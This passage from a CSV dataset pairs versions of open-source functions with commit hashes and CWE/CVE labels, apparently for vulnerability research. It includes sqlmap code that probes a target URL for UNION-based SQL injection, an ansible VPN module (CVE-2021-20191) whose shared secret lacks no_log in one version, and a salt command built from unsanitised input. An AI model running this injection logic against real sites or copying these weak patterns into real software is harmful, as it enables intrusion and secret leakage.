                if not kb.binaryField:
                    if Backend.isDbms(DBMS.MSSQL) and value.startswith(""0x""):
                        try:
                            retVal = retVal.decode(""utf-16-le"")
                        except UnicodeDecodeError:
                            pass

                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
                        try:
                            retVal = retVal.decode(""utf-16-be"")
                        except UnicodeDecodeError:
                            pass

                if not isinstance(retVal, six.text_type):
                    retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)

        return retVal

    try:
        retVal = applyFunctionRecursively(value, _)
    except:
        singleTimeWarnMessage(""there was a problem decoding value '%s' from expected hexadecimal form"" % value)

    return retVal"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/adapters.py,0,"def __init__(self):
        super(BaseAdapter, self).__init__()",,psf/requests,9e9d2c6521e37e1c4f35e04f95a910ad47e28958,"def __init__(self):
        super(BaseAdapter, self).__init__()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/commands/kubernetes_commands.py,0,"def _run_tests(
    python: str,
    kubernetes_version: str,
    output: Output | None,
    executor: str,
    test_args: list[str],
) -> tuple[int, str]:
    env = get_k8s_env(python=python, kubernetes_version=kubernetes_version, executor=executor)
    kubectl_cluster_name = get_kubectl_cluster_name(python=python, kubernetes_version=kubernetes_version)
    get_console(output=output).print(f""\n[info]Running tests with {kubectl_cluster_name} cluster."")
    shell_binary = env.get(""SHELL"", shutil.which(""bash""))
    extra_shell_args: list[str] = []
    if shell_binary.endswith(""zsh""):
        extra_shell_args.append(""--no-rcs"")
    elif shell_binary.endswith(""bash""):
        extra_shell_args.extend([""--norc"", ""--noprofile""])
    if (
        executor == KUBERNETES_EXECUTOR or executor == CELERY_EXECUTOR
    ) and not _is_deployed_with_same_executor(python, kubernetes_version, executor):
        get_console(output=output).print(
            f""[warning]{executor} not deployed. Please deploy airflow with {executor} first.""
        )
        get_console(output=output).print(
            f""[info]You can deploy airflow with {executor} by running:[/]\nbreeze k8s configure-cluster\nbreeze k8s deploy-airflow --multi-namespace-mode --executor {executor}""
        )
        return 1, f""Tests {kubectl_cluster_name}""
    the_tests: list[str] = [""kubernetes_tests/test_kubernetes_executor.py::TestKubernetesExecutor""]
    command_to_run = "" "".join([quote(arg) for arg in [""python3"", ""-m"", ""pytest"", *the_tests, *test_args]])
    get_console(output).print(f""[info] Command to run:[/] {command_to_run}"")
    result = run_command(
        [shell_binary, *extra_shell_args, ""-c"", command_to_run],
        output=output,
        env=env,
        check=False,
    )
    return result.returncode, f""Tests {kubectl_cluster_name}""",CWE-Unknown,apache/airflow,d45840cf0f283aaaa70a54b614275442ec5e80e7,"def _run_tests(
    python: str,
    kubernetes_version: str,
    output: Output | None,
    executor: str,
    test_args: list[str],
) -> tuple[int, str]:
    env = get_k8s_env(python=python, kubernetes_version=kubernetes_version, executor=executor)
    kubectl_cluster_name = get_kubectl_cluster_name(python=python, kubernetes_version=kubernetes_version)
    get_console(output=output).print(f""\n[info]Running tests with {kubectl_cluster_name} cluster."")
    shell_binary = env.get(""SHELL"", shutil.which(""bash""))
    extra_shell_args: list[str] = []
    if shell_binary.endswith(""zsh""):
        extra_shell_args.append(""--no-rcs"")
    elif shell_binary.endswith(""bash""):
        extra_shell_args.extend([""--norc"", ""--noprofile""])
    if (
        executor == KUBERNETES_EXECUTOR or executor == CELERY_EXECUTOR
    ) and not _is_deployed_with_same_executor(python, kubernetes_version, executor):
        get_console(output=output).print(
            f""[warning]{executor} not deployed. Please deploy airflow with {executor} first.""
        )
        get_console(output=output).print(
            f""[info]You can deploy airflow with {executor} by running:[/]\nbreeze k8s configure-cluster\nbreeze k8s deploy-airflow --multi-namespace-mode --executor {executor}""
        )
        return 1, f""Tests {kubectl_cluster_name}""
    the_tests: list[str] = [""kubernetes_tests/test_kubernetes_executor.py::TestKubernetesExecutor""]
    command_to_run = "" "".join([quote(arg) for arg in [""uv"", ""run"", ""pytest"", *the_tests, *test_args]])
    get_console(output).print(f""[info] Command to run:[/] {command_to_run}"")
    result = run_command(
        [shell_binary, *extra_shell_args, ""-c"", command_to_run],
        output=output,
        env=env,
        check=False,
    )
    return result.returncode, f""Tests {kubectl_cluster_name}"""
functions_for_yaml_with_cwe.csv,UNKNOWN,UNKNOWN,lib3/yaml/scanner.py,0,"def fetch_key(self):
        
        # Block context needs additional checks.
        if not self.flow_level:

            # Are we allowed to start a key (not necessary a simple)?
            if not self.allow_simple_key:
                raise ScannerError(None, None,
                        ""mapping keys are not allowed here"",
                        self.get_mark())

            # We may need to add BLOCK-MAPPING-START.
            if self.add_indent(self.column):
                mark = self.get_mark()
                self.tokens.append(BlockMappingStartToken(mark, mark))

        # Simple keys are allowed after '?' in the block context.
        self.allow_simple_key = not self.flow_level

        # Reset possible simple key on the current level.
        self.remove_possible_simple_key()

        # Add KEY.
        start_mark = self.get_mark()
        self.forward()
        end_mark = self.get_mark()
        self.tokens.append(KeyToken(start_mark, end_mark))",,yaml/pyyaml,d856c206fd4bfd71254e0d69e9d5e31bef5d2c0f,"def fetch_key(self):
        
        # Block context needs additional checks.
        if not self.flow_level:

            # Are we allowed to start a key (not nessesary a simple)?
            if not self.allow_simple_key:
                raise ScannerError(None, None,
                        ""mapping keys are not allowed here"",
                        self.get_mark())

            # We may need to add BLOCK-MAPPING-START.
            if self.add_indent(self.column):
                mark = self.get_mark()
                self.tokens.append(BlockMappingStartToken(mark, mark))

        # Simple keys are allowed after '?' in the block context.
        self.allow_simple_key = not self.flow_level

        # Reset possible simple key on the current level.
        self.remove_possible_simple_key()

        # Add KEY.
        start_mark = self.get_mark()
        self.forward()
        end_mark = self.get_mark()
        self.tokens.append(KeyToken(start_mark, end_mark))"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_user.py,1,"def test_present_uid_gid_change():
    before = {
        ""uid"": 5000,
        ""gid"": 5000,
        ""groups"": [""foo""],
        ""home"": ""/home/foo"",
        ""fullname"": ""Foo Bar"",
    }
    after = {
        ""uid"": 5001,
        ""gid"": 5001,
        ""groups"": [""othergroup""],
        ""home"": ""/home/foo"",
        ""fullname"": ""Foo Bar"",
    }
    # user.info should be called 4 times. Once the first time that
    # _changes() is called, once before and after changes are applied (to
    # get the before/after for the changes dict, and one last time to
    # confirm that no changes still need to be made.
    mock_info = MagicMock(side_effect=[before, before, after, after])
    mock_group_to_gid = MagicMock(side_effect=[5000, 5001])
    mock_gid_to_group = MagicMock(
        side_effect=[""othergroup"", ""foo"", ""othergroup"", ""othergroup""]
    )
    dunder_salt = {
        ""user.info"": mock_info,
        ""user.chuid"": Mock(),
        ""user.chgid"": Mock(),
        ""file.group_to_gid"": mock_group_to_gid,
        ""file.gid_to_group"": mock_gid_to_group,
    }
    with patch.dict(user.__grains__, {""kernel"": ""Linux""}), patch.dict(
        user.__salt__, dunder_salt
    ), patch.dict(user.__opts__, {""test"": False}), patch(
        ""os.path.isdir"", MagicMock(return_value=True)
    ):
        ret = user.present(
            ""foo"", uid=5001, gid=5001, allow_uid_change=True, allow_gid_change=True
        )
        assert ret == {
            ""comment"": ""Updated user foo"",
            ""changes"": {""gid"": 5001, ""uid"": 5001, ""groups"": []},
            ""name"": ""foo"",
            ""result"": True,
        }",CWE-703,saltstack/salt,48a419f5b5c113f0de6ee48487d9d19c89095eb9,"def test_present_uid_gid_change():
    before = {
        ""uid"": 5000,
        ""gid"": 5000,
        ""groups"": [""foo""],
        ""home"": ""/home/foo"",
        ""fullname"": ""Foo Bar"",
    }
    after = {
        ""uid"": 5001,
        ""gid"": 5001,
        ""groups"": [""othergroup""],
        ""home"": ""/home/foo"",
        ""fullname"": ""Foo Bar"",
    }
    # user.info should be called 4 times. Once the first time that
    # _changes() is called, once before and after changes are applied (to
    # get the before/after for the changes dict, and one last time to
    # confirm that no changes still need to be made.
    mock_info = MagicMock(side_effect=[before, before, after, after])
    mock_group_to_gid = MagicMock(side_effect=[""foo"", ""othergroup""])
    mock_gid_to_group = MagicMock(side_effect=[5000, 5000, 5001, 5001])
    dunder_salt = {
        ""user.info"": mock_info,
        ""user.chuid"": Mock(),
        ""user.chgid"": Mock(),
        ""file.group_to_gid"": mock_group_to_gid,
        ""file.gid_to_group"": mock_gid_to_group,
    }
    with patch.dict(user.__grains__, {""kernel"": ""Linux""}), patch.dict(
        user.__salt__, dunder_salt
    ), patch.dict(user.__opts__, {""test"": False}), patch(
        ""os.path.isdir"", MagicMock(return_value=True)
    ):
        ret = user.present(
            ""foo"", uid=5001, gid=5001, allow_uid_change=True, allow_gid_change=True
        )
        assert ret == {
            ""comment"": ""Updated user foo"",
            ""changes"": {""gid"": 5001, ""uid"": 5001, ""groups"": [""othergroup""]},
            ""name"": ""foo"",
            ""result"": True,
        }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/smartos_vmadm.py,0,"def create_snapshot(vm=None, name=None, key='uuid'):
    '''
    Create snapshot of a vm

    vm : string
        Specifies the vm
    name : string
        Name of snapshot.
        The snapname must be 64 characters or less
        and must only contain alphanumeric characters and
        characters in the set [-_.:%] to comply with ZFS restrictions.

    key : string
        Specifies what 'vm' is. Value = uuid|alias|hostname

    CLI Example:

    .. code-block:: bash

        salt '*' vmadm.create_snapshot 186da9ab-7392-4f55-91a5-b8f1fe770543 baseline
        salt '*' vmadm.create_snapshot nacl baseline key=alias
    '''
    ret = {}
    vmadm = _check_vmadm()
    if vm is None:
        ret['Error'] = 'uuid, alias or hostname must be provided'
        return ret
    if name is None:
        ret['Error'] = 'Snapshot name most be specified'
        return ret
    if key not in ['uuid', 'alias', 'hostname']:
        ret['Error'] = 'Key must be either uuid, alias or hostname'
        return ret
    vm = lookup('{0}={1}'.format(key, vm), one=True)
    if 'Error' in vm:
        return vm
    vmobj = get(vm)
    if 'datasets' in vmobj:
        ret['Error'] = 'VM cannot have datasets'
        return ret
    if vmobj['brand'] in ['kvm']:
        ret['Error'] = 'VM must be of type OS'
        return ret
    if vmobj['zone_state'] not in ['running']:  # work around a vmadm bug
        ret['Error'] = 'VM must be running to take a snapshot'
        return ret
    # vmadm create-snapshot <uuid> <snapname>
    cmd = '{vmadm} create-snapshot {uuid} {snapshot}'.format(
        vmadm=vmadm,
        snapshot=name,
        uuid=vm
    )
    res = __salt__['cmd.run_all'](cmd)
    retcode = res['retcode']
    if retcode != 0:
        ret['Error'] = res['stderr'] if 'stderr' in res else _exit_status(retcode)
        return ret
    return True",,saltstack/salt,29253fff6a5276064b55e235613ac1aad45beeab,"def create_snapshot(vm=None, name=None, key='uuid'):
    '''
    Create snapshot of a vm

    vm : string
        Specifies the vm
    name : string
        Name of snapshot.
        The snapname must be 64 characters or less
        and must only contain alphanumeric characters and
        characters in the set [-_.:%] to comply with ZFS restrictions.

    key : string
        Specifies what 'vm' is. Value = uuid|alias|hostname

    CLI Example:

    .. code-block:: bash

        salt '*' vmadm.create_snapshot 186da9ab-7392-4f55-91a5-b8f1fe770543 baseline
        salt '*' vmadm.create_snapshot nacl baseline key=alias
    '''
    ret = {}
    vmadm = _check_vmadm()
    if vm is None:
        ret['Error'] = 'uuid, alias or hostname must be provided'
        return ret
    if name is None:
        ret['Error'] = 'Snapshot name most be specified'
        return ret
    if key not in ['uuid', 'alias', 'hostname']:
        ret['Error'] = 'Key must be either uuid, alias or hostname'
        return ret
    vm = lookup('{0}={1}'.format(key, vm), one=True)
    if 'Error' in vm:
        return vm
    vmobj = get(vm)
    if 'datasets' in vmobj:
        ret['Error'] = 'VM cannot have datasets'
        return ret
    if vmobj['brand'] in ['kvm']:
        ret['Error'] = 'VM must be of type OS'
        return ret
    if vmobj['zone_state'] not in ['running']: # work around a vmadm bug
        ret['Error'] = 'VM must be running to take a snapshot'
        return ret
    # vmadm create-snapshot <uuid> <snapname>
    cmd = '{vmadm} create-snapshot {uuid} {snapshot}'.format(
        vmadm=vmadm,
        snapshot=name,
        uuid=vm
    )
    res = __salt__['cmd.run_all'](cmd)
    retcode = res['retcode']
    if retcode != 0:
        ret['Error'] = res['stderr'] if 'stderr' in res else _exit_status(retcode)
        return ret
    return True"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def login_handler(self):
        """"""Return the login handler for this application, if any.""""""
        return self.settings.get('login_handler_class', None)",,jupyter/notebook,bf249669e15087ebf4f4b9ce81f099e3403f9006,"def login_handler(self):
        """"""Return the login handler for this application, if any.""""""
        return self.settings.get('login_handler_class', None)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/state.py,0,"def __gen_opts(self, opts):
        '''
        The options used by the High State object are derived from options
        on the minion and the master, or just the minion if the high state
        call is entirely local.
        '''
        # If the state is intended to be applied locally, then the local opts
        # should have all of the needed data, otherwise overwrite the local
        # data items with data from the master
        if 'local_state' in opts:
            if opts['local_state']:
                return opts
        mopts = self.client.master_opts()
        if not isinstance(mopts, dict):
            # An error happened on the master
            opts['renderer'] = 'yaml_jinja'
            opts['failhard'] = False
            opts['state_top'] = salt.utils.url.create('top.sls')
            opts['nodegroups'] = {}
            opts['file_roots'] = {'base': [syspaths.BASE_FILE_ROOTS_DIR]}
        else:
            opts['renderer'] = mopts['renderer']
            opts['failhard'] = mopts.get('failhard', False)
            if mopts['state_top'].startswith('salt://'):
                opts['state_top'] = mopts['state_top']
            elif mopts['state_top'].startswith('/'):
                opts['state_top'] = salt.utils.url.create(mopts['state_top'][1:])
            else:
                opts['state_top'] = salt.utils.url.create(mopts['state_top'])
            opts['state_top_saltenv'] = mopts.get('state_top_saltenv', None)
            opts['nodegroups'] = mopts.get('nodegroups', {})
            opts['state_auto_order'] = mopts.get(
                'state_auto_order',
                opts['state_auto_order'])
            opts['file_roots'] = mopts['file_roots']
            opts['top_file_merging_strategy'] = mopts.get('top_file_merging_strategy',
                                                          opts.get('top_file_merging_strategy'))
            if opts['top_file_merging_strategy'] == 'merge':
                salt.utils.warn_until(
                    'Oxygen',
                    'The top_file_merging_strategy \'merge\' has been renamed '
                    'to \'default\'. Please comment out the '
                    '\'top_file_merging_strategy\' line or change it to '
                    '\'default\'.'
                )
                opts['top_file_merging_strategy'] = 'default'

            opts['env_order'] = mopts.get('env_order', opts.get('env_order', []))
            opts['default_top'] = mopts.get('default_top', opts.get('default_top'))
            opts['state_events'] = mopts.get('state_events')
            opts['state_aggregate'] = mopts.get('state_aggregate', opts.get('state_aggregate', False))
            opts['jinja_lstrip_blocks'] = mopts.get('jinja_lstrip_blocks', False)
            opts['jinja_trim_blocks'] = mopts.get('jinja_trim_blocks', False)
        return opts",,saltstack/salt,82bf7fe5e1e462258963db48ed88b73f0418339e,"def __gen_opts(self, opts):
        '''
        The options used by the High State object are derived from options
        on the minion and the master, or just the minion if the high state
        call is entirely local.
        '''
        # If the state is intended to be applied locally, then the local opts
        # should have all of the needed data, otherwise overwrite the local
        # data items with data from the master
        if 'local_state' in opts:
            if opts['local_state']:
                return opts
        mopts = self.client.master_opts()
        if not isinstance(mopts, dict):
            # An error happened on the master
            opts['renderer'] = 'yaml_jinja'
            opts['failhard'] = False
            opts['state_top'] = salt.utils.url.create('top.sls')
            opts['nodegroups'] = {}
            opts['file_roots'] = {'base': [syspaths.BASE_FILE_ROOTS_DIR]}
        else:
            opts['renderer'] = mopts['renderer']
            opts['failhard'] = mopts.get('failhard', False)
            if mopts['state_top'].startswith('salt://'):
                opts['state_top'] = mopts['state_top']
            elif mopts['state_top'].startswith('/'):
                opts['state_top'] = salt.utils.url.create(mopts['state_top'][1:])
            else:
                opts['state_top'] = salt.utils.url.create(mopts['state_top'])
            opts['state_top_saltenv'] = mopts.get('state_top_saltenv', None)
            opts['nodegroups'] = mopts.get('nodegroups', {})
            opts['state_auto_order'] = mopts.get(
                'state_auto_order',
                opts['state_auto_order'])
            opts['file_roots'] = mopts['file_roots']
            opts['top_file_merging_strategy'] = mopts.get('top_file_merging_strategy',
                                                          opts.get('top_file_merging_strategy'))
            opts['env_order'] = mopts.get('env_order', opts.get('env_order', []))
            opts['default_top'] = mopts.get('default_top', opts.get('default_top'))
            opts['state_events'] = mopts.get('state_events')
            opts['state_aggregate'] = mopts.get('state_aggregate', opts.get('state_aggregate', False))
            opts['jinja_lstrip_blocks'] = mopts.get('jinja_lstrip_blocks', False)
            opts['jinja_trim_blocks'] = mopts.get('jinja_trim_blocks', False)
        return opts"
functions_for_ansible_with_cwe.csv,CVE-2021-20191,UNKNOWN,lib/ansible/modules/network/check_point/cp_mgmt_vpn_community_meshed.py,0,"def main():
    argument_spec = dict(
        name=dict(type='str', required=True),
        encryption_method=dict(type='str', choices=['prefer ikev2 but support ikev1', 'ikev2 only', 'ikev1 for ipv4 and ikev2 for ipv6 only']),
        encryption_suite=dict(type='str', choices=['suite-b-gcm-256', 'custom', 'vpn b', 'vpn a', 'suite-b-gcm-128']),
        gateways=dict(type='list'),
        ike_phase_1=dict(type='dict', options=dict(
            data_integrity=dict(type='str', choices=['aes-xcbc', 'sha1', 'sha256', 'sha384', 'md5']),
            diffie_hellman_group=dict(type='str', choices=['group-1', 'group-2', 'group-5', 'group-14', 'group-19', 'group-20']),
            encryption_algorithm=dict(type='str', choices=['cast', 'aes-256', 'des', 'aes-128', '3des'])
        )),
        ike_phase_2=dict(type='dict', options=dict(
            data_integrity=dict(type='str', choices=['aes-xcbc', 'sha1', 'sha256', 'sha384', 'md5']),
            encryption_algorithm=dict(type='str', choices=['cast', 'aes-gcm-256', 'cast-40',
                                                           'aes-256', 'des', 'aes-128', '3des', 'des-40cp', 'aes-gcm-128', 'none'])
        )),
        shared_secrets=dict(type='list', options=dict(
            external_gateway=dict(type='str'),
            shared_secret=dict(type='str', no_log=True)
        )),
        tags=dict(type='list'),
        use_shared_secret=dict(type='bool'),
        color=dict(type='str', choices=['aquamarine', 'black', 'blue', 'crete blue', 'burlywood', 'cyan', 'dark green',
                                        'khaki', 'orchid', 'dark orange', 'dark sea green', 'pink', 'turquoise', 'dark blue', 'firebrick', 'brown',
                                        'forest green', 'gold', 'dark gold', 'gray', 'dark gray', 'light green', 'lemon chiffon', 'coral', 'sea green',
                                        'sky blue', 'magenta', 'purple', 'slate blue', 'violet red', 'navy blue', 'olive', 'orange', 'red', 'sienna',
                                        'yellow']),
        comments=dict(type='str'),
        details_level=dict(type='str', choices=['uid', 'standard', 'full']),
        ignore_warnings=dict(type='bool'),
        ignore_errors=dict(type='bool')
    )
    argument_spec.update(checkpoint_argument_spec_for_objects)

    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True)
    api_call_object = 'vpn-community-meshed'

    result = api_call(module, api_call_object)
    module.exit_json(**result)",,ansible/ansible,d74a1b1d1325af2a24848044cf2858987f5a3ecc,"def main():
    argument_spec = dict(
        name=dict(type='str', required=True),
        encryption_method=dict(type='str', choices=['prefer ikev2 but support ikev1', 'ikev2 only', 'ikev1 for ipv4 and ikev2 for ipv6 only']),
        encryption_suite=dict(type='str', choices=['suite-b-gcm-256', 'custom', 'vpn b', 'vpn a', 'suite-b-gcm-128']),
        gateways=dict(type='list'),
        ike_phase_1=dict(type='dict', options=dict(
            data_integrity=dict(type='str', choices=['aes-xcbc', 'sha1', 'sha256', 'sha384', 'md5']),
            diffie_hellman_group=dict(type='str', choices=['group-1', 'group-2', 'group-5', 'group-14', 'group-19', 'group-20']),
            encryption_algorithm=dict(type='str', choices=['cast', 'aes-256', 'des', 'aes-128', '3des'])
        )),
        ike_phase_2=dict(type='dict', options=dict(
            data_integrity=dict(type='str', choices=['aes-xcbc', 'sha1', 'sha256', 'sha384', 'md5']),
            encryption_algorithm=dict(type='str', choices=['cast', 'aes-gcm-256', 'cast-40',
                                                           'aes-256', 'des', 'aes-128', '3des', 'des-40cp', 'aes-gcm-128', 'none'])
        )),
        shared_secrets=dict(type='list', options=dict(
            external_gateway=dict(type='str'),
            shared_secret=dict(type='str')
        )),
        tags=dict(type='list'),
        use_shared_secret=dict(type='bool'),
        color=dict(type='str', choices=['aquamarine', 'black', 'blue', 'crete blue', 'burlywood', 'cyan', 'dark green',
                                        'khaki', 'orchid', 'dark orange', 'dark sea green', 'pink', 'turquoise', 'dark blue', 'firebrick', 'brown',
                                        'forest green', 'gold', 'dark gold', 'gray', 'dark gray', 'light green', 'lemon chiffon', 'coral', 'sea green',
                                        'sky blue', 'magenta', 'purple', 'slate blue', 'violet red', 'navy blue', 'olive', 'orange', 'red', 'sienna',
                                        'yellow']),
        comments=dict(type='str'),
        details_level=dict(type='str', choices=['uid', 'standard', 'full']),
        ignore_warnings=dict(type='bool'),
        ignore_errors=dict(type='bool')
    )
    argument_spec.update(checkpoint_argument_spec_for_objects)

    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True)
    api_call_object = 'vpn-community-meshed'

    result = api_call(module, api_call_object)
    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def __getitem__(self, k):
        """"""
        Retrieves an item or slice from the set of results.
        """"""
        if not isinstance(k, (slice,) + six.integer_types):
            raise TypeError
        assert ((not isinstance(k, slice) and (k >= 0)) or
                (isinstance(k, slice) and (k.start is None or k.start >= 0) and
                 (k.stop is None or k.stop >= 0))), \
            ""Negative indexing is not supported.""

        if self._result_cache is not None:
            return self._result_cache[k]

        if isinstance(k, slice):
            qs = self._clone()
            if k.start is not None:
                start = int(k.start)
            else:
                start = None
            if k.stop is not None:
                stop = int(k.stop)
            else:
                stop = None
            qs.query.set_limits(start, stop)
            return list(qs)[::k.step] if k.step else qs

        qs = self._clone()
        qs.query.set_limits(k, k + 1)
        return list(qs)[0]",CWE-703,django/django,668571386926ff5453d0e11f59b0a89c0dc1dfa2,"def __getitem__(self, k):
        """"""
        Retrieves an item or slice from the set of results.
        """"""
        if not isinstance(k, (slice,) + six.integer_types):
            raise TypeError
        assert ((not isinstance(k, slice) and (k >= 0))
                or (isinstance(k, slice) and (k.start is None or k.start >= 0)
                    and (k.stop is None or k.stop >= 0))), \
                ""Negative indexing is not supported.""

        if self._result_cache is not None:
            return self._result_cache[k]

        if isinstance(k, slice):
            qs = self._clone()
            if k.start is not None:
                start = int(k.start)
            else:
                start = None
            if k.stop is not None:
                stop = int(k.stop)
            else:
                stop = None
            qs.query.set_limits(start, stop)
            return list(qs)[::k.step] if k.step else qs

        qs = self._clone()
        qs.query.set_limits(k, k + 1)
        return list(qs)[0]"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """"""
    Finds number of columns affected by UNION based injection
    """"""
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery(""ORDER BY %d"" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not any(re.search(_, page or """", re.I) and not re.search(_, kb.pageTemplate or """", re.I) for _ in (""(warning|error):"", ""order by"", ""unknown column"", ""failed"")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r""data types cannot be compared or sorted"", page or """", re.I) is not None

        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = ""'ORDER BY' technique appears to be usable. ""
            infoMsg += ""This should reduce the time needed ""
            infoMsg += ""to find the right number ""
            infoMsg += ""of query columns. Automatically extending the ""
            infoMsg += ""range for current UNION query injection technique test""
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):  # ORDER BY is not bullet-proof
            found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
            if found:
                kb.orderByColumns = found
                infoMsg = ""target URL appears to have %d column%s in query"" % (found, 's' if found > 1 else """")
                singleTimeLogMessage(infoMsg)
                return found

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar.strip(""'""), r'>\s*%s\s*<' % kb.uChar.strip(""'"")):
                contains = [count for count, content in pages.items() if re.search(regex, content or """", re.IGNORECASE) is not None]
                if len(contains) == 1:
                    retVal = contains[0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                    deviation = stdev(ratios)

                    if deviation is not None:
                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                        if min_ < lower:
                            retVal = minItem[0]

                        if max_ > upper:
                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                                retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = ""target URL appears to be UNION injectable with %d columns"" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r""\d+"", ""N"", infoMsg))

    return retVal",,sqlmapproject/sqlmap,3544793961fff7c4169cfe8857bf9c972a5fcec2,"def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """"""
    Finds number of columns affected by UNION based injection
    """"""
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery(""ORDER BY %d"" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not any(re.search(_, page or """", re.I) and not re.search(_, kb.pageTemplate or """", re.I) for _ in (""(warning|error):"", ""order by"", ""unknown column"", ""failed"")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r""data types cannot be compared or sorted"", page or """", re.I) is not None

        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = ""'ORDER BY' technique appears to be usable. ""
            infoMsg += ""This should reduce the time needed ""
            infoMsg += ""to find the right number ""
            infoMsg += ""of query columns. Automatically extending the ""
            infoMsg += ""range for current UNION query injection technique test""
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if lowerCount == 1 or conf.uCols:
            found = kb.orderByColumns or (_orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique())
            if found:
                kb.orderByColumns = found
                infoMsg = ""target URL appears to have %d column%s in query"" % (found, 's' if found > 1 else """")
                singleTimeLogMessage(infoMsg)
                return found

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar.strip(""'""), r'>\s*%s\s*<' % kb.uChar.strip(""'"")):
                contains = [count for count, content in pages.items() if re.search(regex, content or """", re.IGNORECASE) is not None]
                if len(contains) == 1:
                    retVal = contains[0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
